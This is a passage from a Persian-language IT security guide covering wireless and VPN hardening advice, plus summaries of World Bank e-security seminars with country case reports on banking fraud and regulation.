از  اين دستگاه مثل يك ديوارة آتش استاندارد         ٢١٤.كنيد
سـيم    كند بطوريكه شبكة بي      عمل مي  ٢١٥دومنزلينوع  

در يك طرف و شبكة مـورد اعتمـاد داخلـي در طـرف            
افزارهاي امنيتـي     ديوارة آتش از نرم   . ديگر آن قرار دارد   

ــل  ــاي IPSecمث ــاير مكانيزمه ــتفاده VPN و س  اس
توان از طريق     كند و تنها پس از تصديق هويت مي        مي

بـراي محـدود    . يدا كرد آنها به شبكة داخلي دسترسي پ     

                                                                  
210  Two Factor Authentication 

۲۱۱   Bateman  كند از روشي كه او آنـرا        توصيه ميe-thenticator 
نامد استفاده كنيم، كه در آن يك دستگاه مخصوص، اثر انگشت            مي

  .كندرا در يك كارت هوشمند ذخيره ميشست 
212  Remote Authentication Dial-In User Service 

۲۱۳   RADIUS    سرويس تلفني تصديق هويت راه دور كاربر      "يا همان" ،
يك سرويس تصديق هويت است كـه اطلاعـات كـاربر را بررسـي              

ة كند و پس از اينكه اطلاعات را مورد تأييد قرار داد به كاربر اجازمي
 RADIUSقسمتي از آنچـه     . دهددسترسي به خدمات شبكه را مي     

-گيرندهشده ميان سرويس تواند آنرا فراهم كند، ارتباط رمزگذاري     مي
ــدة هــاي راه دور و ســرويس هــاي شــبكه. اســت RADIUSدهن

كننـد، امـا   نيز بصورت مشابه كار مـي    ) هـا VPN(خصوصي مجازي   
ر و شبكه، ميان دو شـبكه       بجاي برقراري ارتباط ميان ميزبان راه دو      

پس از اينكه رايانة راه دور تـصديق هويـت          . سازندارتباط برقرار مي  
به شـبكة داخلـي متـصل        RADIUSدهندة   شد و بوسيلة سرويس   

كند كـه گـويي از نظـر فيزيكـي در كنـار             اي عمل مي  گشت، بگونه 
ــت   ــه آن اس ــصل ب ــبكه و مت ــذاري   . ش ــر، رمزگ ــارت ديگ ــه عب ب

ــرويس ــدة  س ــرويس  RADIUSدهن ــان آن س ــا مي ــده و  تنه دهن
   .گيرندة آن وجود دارد، و نه در تمام شبكهسرويس

۲۱۴  Rick Fleming قائم مقام رئيس دايرة امنيت شركت ،Digital 
Defense  

215  Dual Homed 

سـيم    شـده از شـبكة بـي      كردن مقصد ترافيـك خـارج     
اطمينـان  . توان از قوانين ديوارة آتش استفاده كـرد         مي

حاصل كنيد كه ديوارة آتش ميان تمام نقاط دسترسـي          
 .سيم و شبكة داخلي يا اينترنت وجود دارد بي

 را غيرفعال كنيد و بـراي كارتهـاي         DHCPسرويس   .۱۵
.   ثابـت اسـتفاده كنيـد      IP از آدرس    سيم خود   شبكة بي 

سيم    شبكة بي  IPفرض آدرس     همچنين محدودة پيش  
 .را از آنچه توليدكننده تعيين كرده تغيير دهيد

هميـشه  . تنها نقاط دسترسي قابل ارتقا خريداري كنيد       .۱۶
شـود، و     پيشرفتهايي در امنيت اينگونه ابزارها ايجاد مي      

 توانست نقاط   لذا بايد مطمئن باشيد كه همواره خواهيد      
 .روز نگهداريد دسترسي خود را به

  VPNاطلاعات ديگري در خصوص 
براي محافظـت از اطلاعـات سيـستمهايي كـه از هريـك از              

انـدازي كنيـد،       راه VPNفناوريهاي مذكور استفاده كنند، بايد      
ها قابل اطمينان شبكة داخلي ايـن       gatewayبطوريكه همة   

VPN      هاي مـورد      به شبكه   باشند و هر كاربر هنگام دسترسي
 يـك   VPNاساسـاً   . اطمينان، از اين مكـانيزم اسـتفاده كنـد        

اتصال خصوصي ميان دو دستگاه است كه اطلاعات محرمانه         
شـده مثـل    اشـتراك گذاشـته    را در يك شـبكة عمـومي و بـه         

 بـه   VPNفنـاوري   . دهـد اينترنت بـصورت امـن انتقـال مـي        
اي كاربران دهد كه خدمات شبكة خود را بر        سازمان امكان مي  

، واحدها، و شركتهاي همكار بصورت ايمن و از طريق            راه دور 
 اينترنت  VPNبه عبارت ديگر    .  اينترنت در دسترس قرار دهد    

 تبـديل   WAN٢١٦شدة خـصوصي    سازيرا به يك شبكة شبيه    
 همچنين بـه كـاربران راه دور ايـن امكـان را             VPN. كند  مي
ت خـود   هـاي شـرك     دهنـده   دهد كـه بتواننـد بـه سـرويس        مي

  .دسترسي داشته باشند

براي استفاده از اينترنت بعنوان يـك شـبكة ارتبـاطي وسـيع             
اول . ، سازمانها بايد بـر دو مـانع اصـلي فـائق آينـد               خصوصي

ها غالباً با استفاده از پروتكلهاي مختلفـي ارتبـاط             شبكه  اينكه
 راهي براي عبور پروتكلهايي غير از       VPNكنند، اما     برقرار مي 

IP  اينكـه    دوم.  سـازد    شبكه به شبكة ديگر فراهم مـي        از يك 
سـاده انتقـال   هاي اطلاعـات در اينترنـت بـصورت مـتن          بسته

                                                                  
216  Wide Area Network 
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، و درنتيجه هـركس كـه بتوانـد ترافيـك اينترنـت را                يابند  مي
هـا را نيـز     ببيند، خواهد توانـست اطلاعـات موجـود در بـسته          

اين يك مشكل بـزرگ اسـت، بخـصوص اگـر مـثلاً             .  بخواند
هــاي مهــم و  بخواهنــد از اينترنــت بــراي تبــادل دادهبانكهــا 

 با استفاده از مكـانيزمي      VPN.  محرمانة تجاري استفاده كنند   
در اين مكـانيزم  . كند  بر اين مشكلات غلبه مي     ٢١٧تونلبه نام   
شدن بصورت عادي، براي امنيـت بيـشتر        ها بجاي ارسال      داده

گيرنـد،     قرار مي  IPشوند، درون يك بستة     ابتدا رمزگذاري مي  
  .گردندو سپس از طريق اينترنت ارسال مي

، Nokia ،Ciscoبـسياري از محـصولات مثـل محـصولات     
Nortel ،Checkpoint و ،Microsoft داراي فنــــــاوري 

VPN    تواند در نقاط مختلف       كه مي  ٢١٨ ايمن و مناسب هستند
هـاي تبـادلي         از محتـواي داده    VPNاگرچه  . شبكه قرار گيرد  

كند، امـا بـسته بـه اينكـه چگونـه در             روي شبكه حفاظت مي   
شـبكه قـرار گرفتـه باشــد ممكـن اسـت نتوانـد از دسترســي       

بـه عبـارت ديگـر      . غيرمجاز از بيرون شبكه جلوگيري نمايـد      
تواند محتـواي    نمي VPNهرچند كاربر غيرمجاز بخاطر وجود      

ها را ببيند، اما ممكن است همچنان بتواند به منابع شبكه             داده
اي تغييـر دهـد كـه        و پهناي باند را بگونـه      دسترسي پيدا كند  

ظرفيت شبكه سرريز شود و عليه كاربران مجاز حملة تخريب          
كنتـرل دسترسـي، تـصديق هويـت و         . سرويس انجـام گيـرد    

از . رمزگــذاري از عناصــر حيــاتي يــك اتــصال امــن هــستند
 براي مدت مديـدي بعنـوان       ٢١٩)PPP (نقطه به نقطه   پروتكل

 جهت ايجاد تونل ميان ابزارهـا       ٢٢٠لاية اتصال پروتكل جهاني   
پروتكل تونـل   شد؛ اما در سالهاي اخير        در اينترنت استفاده مي   

 ٢٢٢)L2TP (پروتكل تونل لايـة دو    و  ٢٢١)PPTP (نقطه به نقطه  
  ٢٢٣.اند براي اينكار ترجيح داده شده

                                                                  
217  Tunneling 

اسـت تـا     VPNاستانداردهاي  درحال اصلاح    IETFدرحال حاضر      ۲۱۸
IPSec اي سازگار كندتر و نيز با ارتباطات ماهواره يمنرا ا.  

219  Point-to-Point Protocol 
220  Link Layer 
221  Point-to-Point Tunneling 
222  Layer 2 Tunneling Protocol 

 در مجلة" Safe Passage"با عنوان  Karen Bannasمقالة    ۲۲۳
PC Magazineدهنــدة  ، هفــت شــركت ارائــهVPN  را بــراي

اي  مناسب جهت كاربرد در شركتهاي متوسط بـا بودجـه          محصولات
 براي ارتباط ميان دفتـر مركـزي و   VPNحدود ده هزار دلار كه به   

  :دهدها نياز دارند مورد بررسي قرار ميشعبه
http://www.pcmag.com/ 
print_article/0,3048,a%3D12352,00.asp 
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  فصل سيزدهم 
  المللي گفتگوهاي بين

  پيرامون موضوع امنيت

  كليات
حلهــا و سياســتهاي  منيتــي، راههــاي ا مثالهــايي كــه از رخنــه

آينـد، برگرفتـه از دو سـمينار        مبتكرانة مقابله با آنها در پي می      
 سمينار اول با    -اند  هستند كه توسط بانك جهاني برگزار شده      

كاهش مخاطره در حـوزة خـدمات       : امنيت الكترونيكي "عنوان  
" ايمني و جامعيت الكترونيكي   "، و   ۲۰۰۲ سپتامبر   ۲۵در  " مالی
فيلمهــای ويــدئويي هــر دو جلــسه از . ۲۰۰۳ســپتامبر  ۱۰در 

 ايـن فـصل شـامل       ٢٢٤.طريق اينترنت در دسـترس قـرار دارد       
نكات مهم اين سمينارها و توضيحات نماينـدگان كـشورهاي          

  .كننده است شركت

  :۲۰۰۲سمينار جهاني سال 
  ٢٢٥كاهش مخاطره در حوزة خدمات مالي

شـد و    آغـاز    ٢٢٦مخـاطرة الكترونيكـي   اي بـر      جلسه با مقدمـه   
" هـاي بـاز   شبكه"به  " هاي بسته   شبكه"مقالات به تبديل شدن     

هـاي بـاز،    در شـبكه . در خلال ده سـال اخيـر اشـاره داشـتند        
 كـه اخيـراً الگـوريتم آن        SSLوابستگي به قابليتهـايي مثـل       

شد، چراكه اين امر    شكسته شده بود باعث بروز مشكلاتي مي      

                                                                  
 ۲۰۰۳ و ۲۰۰۲فايل ويدئويي خلاصة مذاكرات نشـستهاي سـالهاي           ۲۲۴

از پايگاه وب بانك جهاني بترتيب با آدرسهاي زيـر قابـل دسترسـي              
  :هستند

http://www.worldbank.org/wbi/B-Span/sub_e-
security.htm 
http://www1.worldbank.org/finance 

سـازي بانـك جهـاني       اين جلسه با حضور اعـضاي گـروه يكپارچـه            ۲۲۵
 Thomas: بارت بودند ازه عـاي حاضر در جلسـاعض. زار شدـبرگ

Glaessner ،Tom Kellerman و ،Valerie McNevin ،
كنندگان در اين سمينار جهاني از از كشورهاي برزيل،         بعلاوة شركت 

شيلي، مكزيك، اوكراين، اسلوواكي، سنگاپور، كرة جنوبي، فيليپـين،         
  كنگ، سريلانكا، و جمهوري خلق چينهنگ

226  E-Risk 

براي بانكها، . ر كندپذيريها را تا مدتها ماندگا     توانست آسيب   مي
 وجـود دارد،  Code Redتنها تهديداتي چنـدوجهي مثـل    نه

. هاي جرائم سازمانيافتة نفوذ نيز محتمل است      بلكه خطر حلقه  
هـاي عمليـات مجرمانـه از كازينوهـاي           بسياري از اين حلقـه    

طبق تخمـين   . كنند  اينترنتي بعنوان ابزار پولشويي استفاده مي     
نفوذهـا عليـه صـنايع    % ۵۷د ، حدوInternet Data شركت
علاوه بر ايـن، بـه مـوازات        . گذاري انجام گرفته است   سرمايه
تر شدن روشهاي نفوذ، سطح مهارت نفوذگران كاهش          پيچيده

 و  downloadهاي خرابكارانه براي    برنامهيابد؛ چون تكه    مي
حتـي كـسانيكه دانـش      . كاربرد، در دسترس همگان قرار دارد     

تواننـد اقـدام بـه        ز با اين امكانات مـي     چندان عميقي ندارند ني   
  .نفوذهاي بزرگ كنند

كلاهبرداريهاي الكترونيكـي بخـصوص در نفوذهـايي كـه از           
گيـرد غالبـاً يـا        اروپاي شرقي عليه ايالات متحده انجـام مـي        

روشهاي ديگر نيز عبارتنـد     . اندسرقت هويت و يا اخاذي بوده     
ــتكار salami slicing٢٢٧از  ــرمايه، و دس ــال س ي در ، انتق

در آســيا، نفوذهــا متوجــه اهــداف مــشخص بخــش  . ســهام
اقتصادي و همچنين اهداف حيـاتي بخـشهاي فنـاوري بـوده        

  .است

بحـــث مقـــدماتي مخـــاطرات الكترونيكـــي بـــه موضـــوع 
 GSMسيم بخـصوص اسـتاندارد        پذيريهاي فناوري بي    آسيب

به دو نكتة كليدي مربوط به مخاطرات فنـاوري         . هم پرداخت 
پـذيريهاي       كـه عبـارت بودنـد از آسـيب         سـيم اشـاره شـد       بي

gateway  و حمـلات "man in the middle ."  مـورد دوم
تواننـد    افتد كه برجهاي تلفن همراه نمي        دليل اتفاق مي    به اين 

  .هويت خود را براي تلفنهاي همراه تصديق كنند

  نكاتي در مورد قوانين و ضوابط

بل چنـدان   درحاليكه قوانين تجارت الكترونيكي در پنج سال ق       
مرسوم نبودند، امروز چهل كشور داراي اين قوانين هـستند و           

  قــوانين مربــوط بــه . ايــن رقــم نيــز درحــال افــزايش اســت 
كننـده از     معاملات الكترونيكي و حقوق و مسئوليتهاي مصرف      

ــسترش    ــال گ ــسرعت درح ــد و ب ــت خاصــي برخوردارن اهمي
  :موضوعات كليدي اين بحث عبارتند از. باشند مي

                                                                  
مختلـف  بـانكي   حـساب   تعـداد زيـادي     يار كم از    برداشت مقادير بس     ۲۲۷

  بصورت متناوب
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 راهنماي امنيت فناوري اطلاعات ٢١٦

  امضاها و معاملات الكترونيكي؛اعتبار  •
، و اعـلام راهبردهـاي        حفاظت از اطلاعـات شخـصي      •

 اجرايي استفادة ايمن از اطلاعات؛
سيــستمهاي امــن پرداخــت ميــان بانكهــا بخــصوص  •

 بانكهاي الكترونيكي؛
پولــشويي و ســطح همكــاري بــين المللــي كــه بــراي  •

 جلوگيري از آن مورد نياز است؛ و
، كه مقولة استفاده از رايانـه       توسعه قوانين جرائم سايبر    •

 .در فعاليتهاي مجرمانه را نيز در بر بگيرد

اجراي صحيح اين موارد نيازمند پذيرش ضوابط توسط عموم،         
تـازي، و بـالا بـودن دانـش         دست كشيدن از تكـروي و يكـه       

درحاليكه از قبل ميـان صـنايع متفـاوت در          . قانونگذاران است 
نيـت پرداختهـاي    سطوح مختلف همكـاري وجـود داشـته، ام        

الكترونيكي از مواردي است كه كـاملاً بـه تـداخل بخـشهاي          
صنعت بانكي شاخصهاي   . مخابرات و بانكداري انجاميده است    

دسترسي بـدون تبعـيض بـه       "امنيت و صحت را تحت عنوان       
تعريـف كـرد، و از طـرف        " سيستمهاي اقتصادي سالم و امـن     

سـاس  دسترسـي همگـاني بـر ا      "ديگر آرمان صنعت مخابرات     
ــود" علاقــه و رفــاه عمــومي ــه تعــاريف متفــاوت از . ب   اينگون

ها و درنظـر      كردن شبكه ، سازمانها را براي ايمن    "خدمات امن "
گرفتن نيازهاي اقتـصادي بـصورت همزمـان، دچـار مـشكل            

  .كند مي

  نظارت و پيشگيري
با وجود مشكلات فراوان پـرداختن بـه نيازمنـديهاي دوگانـة            

رونيكـي يـك نيـاز حيـاتي بـراي        امنيت و صحت، امنيت الكت    
بيشتر سازمانها است و بايد براي كـاهش مخـاطرات عملـي،            

ــانوني و حيثيتــي در محــيط  ، تــلاش و فنــاوري اطلاعــاتق
طرحهايي كه بـراي افـزايش      . هماهنگي زيادي صورت پذيرد   

  :شوند بايد موارد زير را در بر بگيرند امنيت سيستمها داده مي

تحقيـق بانـك    . ارتآموزش، آگـاهي و يـادگيري مه ـ       •
نفوذهاي امنيتـي   % ۵۰دهد كه حدود      جهاني نشان مي  

اگر اجراي نادرسـت    . هاي داخلي هستند    ناشي از تهديد  
سازي ملاحظات امنيتيِ رايانه را نيـز       يا ناتواني از پياده   

به اين آمار بيافزاييم، اين درصد باز هم افزايش خواهد          
  .يافت

 رفـع و رجـوع      براي تـسريع  . مميزي و آزمون فرآيندها    •
كارها بايد همكاري وسيعي ميان همة طرفهاي درگيـر         

بعنوان مثال بانكهاي اتحادية اروپـا داراي       . انجام گيرد 
اگــر ايــن .  هــستندAntiguaدهنــدهايي در  ســرويس
ها از كار بيافتند، بانك هم قادر به ارائـه            دهنده  سرويس

خدمات نخواهد بود، و اگر همكاريهـاي فرابخـشي بـا           
اجه شود، اقدامات فوريتي در اين زمينـه بـه          مشكل مو 
 .افتد تعويق مي

ممكــن اســت . همكــاري دولــت و بخــش خــصوصي •
مخاطراتي كه براي سازمان جنبة حيثيتي دارند منجـر         

درنتيجـه  . به خودداري از گزارش كردن حوادث شـوند       
برگزاري ميزگردهـايي بـراي بحـث پيرامـون ضـوابط           

بعنـوان  . قانوني و تهديـدهاي موجـود ضـروري اسـت         
ــش    ــاتي بخ ــراكت عملي ــاري و ش ــايي از همك مثاله

 InfraGardتـوان از مؤسـسة      خصوصي و دولت مـي    
NIPC             نام برد، كـه محـصول يـك همكـاري ميـان 

بخش خصوصيِ صنعت و دولت ايالات متحـده بـود و           
 ديگـر ايـن نـوع        شـكل . شد نمايندگي مي  FBIتوسط  

 ميان تعـدادي از تيمهـاي       FIRST٢٢٨همكاري با نام    
نيت رايانـة بخـش دولتـي، اقتـصادي و دانـشگاهي            ام

 ايجاد هماهنگي و    FIRSTاهداف  . تشكيل شده است  
همكاري براي پيشگيري از مخاطرات، واكنش سـريع        
به حوادث امنيتي و تـرويج اشـتراك اطلاعـات ميـان            

از ديگـر  . كاربران در سطوح وسيع عنـوان شـده اسـت         
ــه مــي  ــه  مثالهــا در ايــن زمين ــوان ب ــت ت پيمــان امني

) CERT(اي   و مركز فوريتهاي امنيت رايانـه      ٢٢٩اينترنت
اشاره كرد، كه محصول يك همكاري مـشترك ميـان          

 Carnegie در دانـشگاه  CERTالمللـيِ  مركز بـين 

Mellon     المللي غيردولتـي      و تعدادي از شركتهاي بين
 .است

فنــاوري مهمتــرين راهكــار امنيــت . امنيــت چندلايــه •
 در آن ايمنـي تنهـا       ، شيوة چندلايه است كـه     اطلاعات

شود، بلكه افـراد و فرآينـدها         توسط فناوري تأمين نمي   
اعتماد بيش از حـد بـه       . اي دارند نيز در آن نقش عمده    

فناوريهاي ارزشمندي چون رمزگذاري لزوماً سازمان را       
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  امنيت فناوري اطلاعات و سازمانها: بخش سوم

 

٢١٧  
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. كنـد   در مقابل همة تهديدهاي ممكـن حفاظـت نمـي         
دوازده لاية امنيتي براي كنترل يكپارچگي اطلاعات و        
كاهش مخاطرات محيطهاي بـا معمـاري بـاز تعريـف           

سازي واقعي هر لايه،      شده و در بسياري از موارد، پياده      
ايـن دوازده لايـه     . گذاري هنگفتي ندارد    نياز به سرمايه  

در فصل يازدهم از همين بخـش كتـاب توضـيح داده            
 .اندشده

 نقش كشورها

 كنگ  هنگ

ري بـر سـه     كنگ بـا مـرو      نمايندگان ادارة مميزي مالي هنگ    
  :مورد كلاهبرداري بحث خود را آغاز كردند

نفوذگري با استفاده از يك تراوا به سرقت تعدادي رمز           .۱
 ۳۵,۰۰۰عبور و شناسه اقدام كـرد و توانـست بـيش از     

  .دلار آمريكا را بصورت غيرمجاز جابجا كند

يك مورد كلاهبرداري بدليل ضعف آگاهي مشتري در         .۲
 پرداخت الكترونيكـي    مورد امنيت رمز عبور در سيستم     

بدليل اعمال نشدن محدوديتهاي    . در استراليا روي داد   
لازم، نفوذگران توانستند وارد سيستم شده و حدود سه         

 .ميليون دلار سرقت كنند

در يك كلاهبرداري اينترنتي نفوذگران توانستند حدود        .۳
را )  ميليون دلار آمريكـا    ۲۱،۷با ارزشي برابر    ( ميليون سهم    ۵

 .ر قيمت سهام نوسان شديدي ايجاد كنندفروخته و د

  :توان از اين رويدادها گرفت عبارتند از درسهايي كه مي

اين امر  . تغييرات حسابهاي اشخاص ثالث را ثبت كنيد       .۱
به معني كنترل كلية دسترسيها و انتقالهـاي غيرمجـاز          

 .باشدنيز مي

معاملات بانكي الكترونيكي را كنترل كنيد، و در مـورد           .۲
 حسابهاي مـشكوك بـا صـاحبان حـسابها          معاملات و 

، يا از طريـق     SMSاز طريق   (هماهنگي مجدد بعمل آوريد     
 ).پست الكترونيكي

براي تصديق اعتبار مشتري از عوامل چندگانه استفاده         .۳
بر اساس ابزاري كه تنها مـشتري آنـرا دارد؛ مثـل كـارت              (كنيد  

توجه كنيد كه براي ايـن منظـور از هـر رمـز             ). هوشمند
 .توان استفاده كرد ها براي يكبار ميعبور تن

را افـزايش   ) ضعيفترين حلقة زنجير امنيتـي    (آگاهي مشتري    .۴
دهيد تا بتواننـد از روشـها و كانالهـاي مختلـف بـراي              

ارتباطـات  . انتقال اطلاعات بصورت امن استفاده كننـد      
هـاي    ديوارهنيز بايد امن باشند، كه اينكار شامل نصب         

ياب   يستمهاي مهاجم روزرساني س    و به  ٢٣٠آتش شخصي 
 .شود نيز مي

رويدادها بايد مديريت شده و بسرعت گزارش شوند تـا           .۵
آميـز تـيم امنيـت اطمينـان       نسبت به واكنش موفقيـت    

  .حاصل شود

، دولت با بانكها و پليس براي كنترل رويـدادها            كنگ  در هنگ 
كند و بـا اعمـال مـديريت اثـربخش،            و خطرات همكاري مي   

 ــ ــضمين، روي ــخگويي را ت ــسارتها را پاس ــزارش، خ دادها را گ
همچنـين بـه ايـن    . نمايدكنترل، و اعتماد عمومي را جلب مي  

كند كه بـا توجـه بـه طيـف وسـيع مـشكلات                نكته اشاره مي  
شـود  ها، تنوع اسـتانداردهاي موجـود باعـث مـي         ISPامنيتي  

كــردن عمــوم در مــورد ســازي، و آگــاه نحــوة كنتــرل، ايمــن
  .ملاحظات امنيتي دشوار گردد

  اپورسنگ

آمارهـا و   : بحث كشور سنگاپور حول چهار محور اصـلي بـود         
نكاتي در مـورد كـشور كـره، وضـعيت اقتـصاد الكترونيكـي،              
زيرساخت ملي كليد عمومي، و واكنشهاي دولـت در حـوادث           

بحث با ارائه شواهدي از رشد سريع فنـاوري در خـلال            . اخير
  :، از مورد اول شروع شد۲۰۰۱ تا ۱۹۹۸سالهاي 

 درآمدهاي تجـارت الكترونيكـي حـدود        ۱۹۹۸در سال    •
 ميليـون   ۹۱ بـه    ۲۰۰۱ ميليون دلار بود و در سـال         ۴۰

  .دلار رسيد

هـاي بـا       خانوار به شبكه   ۱۴,۰۰۰ تعداد   ۱۹۹۸در سال    •
 به  ۲۰۰۱سرعت بالا متصل بودند و اين تعداد در سال          

 .جمعيت رسيد% ۶۴ ميليون معادل ۷،۸
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 راهنماي امنيت فناوري اطلاعات ٢١٨

رنـت وجـود     ميليـون كـاربر اينت     ۳ تنهـا    ۱۹۹۸در سال    •
 ميليـون نفـر     ۲۴ به   ۲۰۰۱داشت، كه اين رقم در سال       

 .رسيد) نيمي از جمعيت كره(

% ۵۰درحال حاضر دستگاههاي سيار توسـط بـيش از           •
 .شوند جمعيت استفاده مي

عموميت بانكداري الكترونيكي در سنگاپور كاملاً اثبات شـده         
بانكهـاي الكترونيكـي در ايـن كـشور بـسيار فراگيـر و          . است
% ۲۵، تقريباً      ميليوني ۴عليرغم جمعيت اندك    . ب هستند محبو

. گيرنـد جمعيت از خـدمات بانكـداري الكترونيكـي بهـره مـي          
. علاوه بر اينها صنعت نيـز بـسرعت درحـال گـسترش اسـت             

 شـروع شـد و اكنـون حـدود          ۱۹۹۷تجارت اينترنتي در سـال      
امـا در  . كل معاملات را بـه خـود اختـصاص داده اسـت           % ۵۰

 صنعت بيمة اين حوزه بـه ايـن سـرعت درحـال             نقطة مقابل، 
خـدمات  . كندرشد نيست، اگرچه طبيعت آن اينطور ايجاب مي     

تـوان بـراي   سازي دارند و كمتر مـي      بومي  بيمه معمولاً نياز به   
  .جا يك استاندارد ثابت و كارآي بيمه تعيين كردهمه

با نگاه به جنبة جنايي اين تحولات، آمارها نـشاندهندة وقـوع            
 ۱۹۹۷ و   ۱۹۹۶ رخداد امنيتـي در خـلال سـالهاي          ۱۰۰يباً  تقر

 رسيد و درحال    ۵,۰۰۰ اين آمار به عدد      ۲۰۰۰در سال   . هستند
اگرچـه  . حاضر نيز بصورت تـصاعدي درحـال افـزايش اسـت          

بانكداري الكترونيكي عموميت دارد، اما دو رخداد امنيتي اخير         
ها و روالهـاي  بار ديگر اهميت سياست) كه ذيلاً به آنها اشاره شـده      (

امنيتي در محيطهـاي خـدمات مـالي الكترونيكـي را روشـن             
  :كنند مي

هـاي مـشتريان بزرگتـرين بانـك       در يك رخداد، رايانه    .۱
ايـن تراواهـا    . سنگاپوري آلوده به انواعي از تراواها شد      

بطور ناخواسته اطلاعات محرمانة كاربران را دريافت و        
كردنـد و     شده ارسال مـي   براي آدرسهاي از پيش تعيين    

توانستند مقادير عظيمي پول بـه      بدينوسيله سارقين مي  
اين تراواي خاص آنقدر پيشرفته بود كـه        . سرقت ببرند 

. كـرد يابها به سلامت عبور مي      از ضدويروسها و مهاجم   
توان نتيجه گرفت كـه ايـن ابزارهـا         از اين موضوع مي   

نبايد تنها مكانيزمهـاي دفـاعي      ) ياب  ضدويروس و مهاجم  (
  . يك محيط اقتصادي باشندبراي

حادثة ديگر در دومين بانك بزرگ سـنگاپور روي داد،           .۲
المللي را به اندازة كـافي بـه خـود جلـب              اما توجه بين  

، سيستمهاي بـانكي بـه ايـن دليـل            در اين مورد  . نكرد
هـاي امنيتـي روي آنهـا اعمـال      آسيب ديدند كه وصله  

 فاش جزئيات اين حمله بدليل مسائل امنيتي   . نشده بود 
با اينحال اين حادثه نيز بار ديگر لـزوم همكـاري       . نشد

 .ميان سازمانهاي مختلف قانوني را به نمايش گذاشت

 بطور فعال به موضوع زيرساخت كليد عمـومي          دولت سنگاپور 
)PKI ( سنگاپور  " قانون امضاي ديجيتال  . "پرداخته است) مصوب

ارتباطات  اين كشور را به وزارتخانة       PKIمسئوليت  ) ۱۹۹۹سال  
مراكـز   ملي اين كشور،     PKIو اطلاعات سپرده است و برنامة       

  .كند  معتبر را معين مي٢٣١صدور گواهي

سـازمان  اما از گواهي نـوعي شـناخت دوجانبـه وجـود دارد و              
 بيشتر با موضوعات تكنيكـي      ٢٣٢)KISA (امنيت اطلاعات كره  

مثل نظارت بر صدور گواهي، تـصديق ايـن مراكـز، و انجـام              
سـيم سـر و كـار          سيمي و بـي    PKI توسعه دربارة    تحقيقات و 

درحال حاضر در اين كشور شـش مركـز معتبـر صـدور             . دارد
هـا توسـط تمـام مراكـز          چون گواهي . كنندگواهي فعاليت مي  

توانـد در   صدور گواهي قابل شناسـايي هـستند، مـشتري مـي          
بدين ترتيـب   . معاملات مختلف يك امضاي واحد داشته باشد      

با . كترونيكي تحت حمايت قانون قرار دارند     كاربران امضاي ال  
براي مثال، از مراكـز معتبـر   . اينحال چالشهايي هم وجود دارد   

اما . شود اي مي صدور گواهي در صنعت بانكي استفادة گسترده
 ۳۶از : صادق نيست ) دلالها(اي  اين در مورد سازمانهاي واسطه    

ور مؤسسة اينچنيني تنها چهار مؤسـسه از مراكـز معتبـر صـد            
توان براي ايـن امـر بـر        دو دليل مي  . كنند  گواهي استفاده مي  

  :شمرد

 دو سـال پـيش از       - ۱۹۹۷تجارت اينترنتـي در سـال        .۱
لـذا ايـن    .  شروع شد  -تصويب قانون امضاي ديجيتال     

كاربران قبل از بوجـود آمـدن مراكـز صـدور گـواهي،             
 .مشكلي براي انجام كار نداشتند

تواند باعث تأخير در    استفاده از مراكز صدور گواهي مي      .۲
خواهند در    انجام معاملات ايمن شود، اما مشتريان نمي      

  .تجارت دچار تأخير يا گرفتار دردسرهاي ديگر شوند

با اينحال يك حادثة امنيتي در كره بحث امنيت الكترونيكـي           
در مـاه   . در فعاليتهاي تجـاري اينترنتـي را دگرگـون سـاخت          
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ي حــسابهاي ا ســال گذشــته چنــد شــركت واســطه آگوســت
 كــه تنهــا بعنــوان بخــشي از  غيرفعــال و مــسكوتي را يافتنــد

ــدود    ــود ح ــاي خ ــهام از   ۲۰كاره ــا س ــون دلار آمريك  ميلي
 بـه ايــن مــسئله،   در واكــنش. گــذاران خريـده بودنــد  سـرمايه 

ملاحظات امنيتي افـزايش يافـت و اسـتفاده از مراكـز معتبـر              
سامبر سال در اول د. تري پيدا كردصدور گواهي اجبار گسترده   

اعـلام شـدند و از      " فاقد اعتبـار  "هاي خصوصي     ، گواهي ۲۰۰۲
 مراكز تأييدشدة صدور گواهي   هايي كه از    آن پس تنها گواهي   

)LCAs(آمدند و تا ماه     صادر شده بودند معتبر به حساب مي       ٢٣٣
ها بايد مورد تأييد مجدد قـرار          نيز همة گواهي   ۲۰۰۳مي سال   

اي از  تهاي واسـطه  ضروري شـد كـه همـة شـرك        . گرفتند  مي
 بـه بعـد، در   ۲۰۰۳ و مؤسسات كوچكتر از ژانويه   ۲۰۰۲نوامبر  

هاي مراكز تأييدشدة صدور گـواهي      تجارت اينترنتي از گواهي   
  .استفاده كنند

هاي مديريت  مشي خط ۲۰۰۳سنگاپور بنا داشت در بهار سال       
فعاليتهاي اين كشور بـر  . مخاطرات فناوري خود را منتشر كند 

المللـي، و   هاي بين ات مفيد صنعت، با كمك نهاد     اساس تجربي 
بر مبناي چكيدة جلسات مختلف ميان بانكهاي فعال صـنعتي          

يكـي از پرسـشهاي اصـلي       . شود  و مقامات دولتي هدايت مي    
سنگاپور كه داراي تنهـا يـك نهـاد بـراي تـدوين اسـتاندارد               

باشد اين بود كه چگونه دولتي به بزرگيِ ايالات متحـده و             مي
تواند ضوابط خود را    سازي، مي   شتن مراجع متعدد استاندارد   با دا 

  .بصورت يكپارچه اعمال كند

  فيليپين

بحث فيليپين روي نتايج سه نگـرش ممكـن در زمينـة رشـد              
اين سـه نگـرش     . هاي جرائم سايبر متمركز بود      فزايندة تهديد 

، )I Love Youمثـل ويـروس   (عبارت بودند از گسترش ويروسها 
. تهاي اعتباري، و نيز حادثة يازدهم سـپتامبر       سرقت مداوم كار  

نمايندگان كـشور فيليپـين از حادثـة يـازدهم سـپتامبر بـراي              
تشريح محاسبات دولت خود براي حفاظت از مؤسـسات ملـي           

  .اقتصادي استفاده كردند

بــسرعت " I Love You"، گــسترش ويــروس  در فيليپــين
 از آن   ايـن حادثـه   . نهادهاي قانوني را بـه واكـنش وادار كـرد         
 خــصوصي را فــاش  جهــت كــه ضــعفهاي دولــت و بخــش 

ايــن مــسئله . اي برخــوردار بــودســاخت از اهميــت ويــژه مــي
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همچنين ظرفيت قدرت قانونيِ فهم و واكنش مؤثر به حوادث          
مربوط به فناوري را به منصة ظهور رسـاند و در نتيجـة يـك               
برنامة آموزش امنيت براي كاركنان دولت به اجرا گذاشته شد          

دولت براي ورود در اين عرصه قوانين تجارت الكترونيكي و     و  
  . را از دايرة تصويب گذراند٢٣٤استراتژي سايبر

درحال حاضر كلاهبرداري كارت اعتبـاري در حـوزة خـدمات           
به يك معـضلِ  ) مثل هر كشور ديگري (مالي الكترونيكي فيليپين    
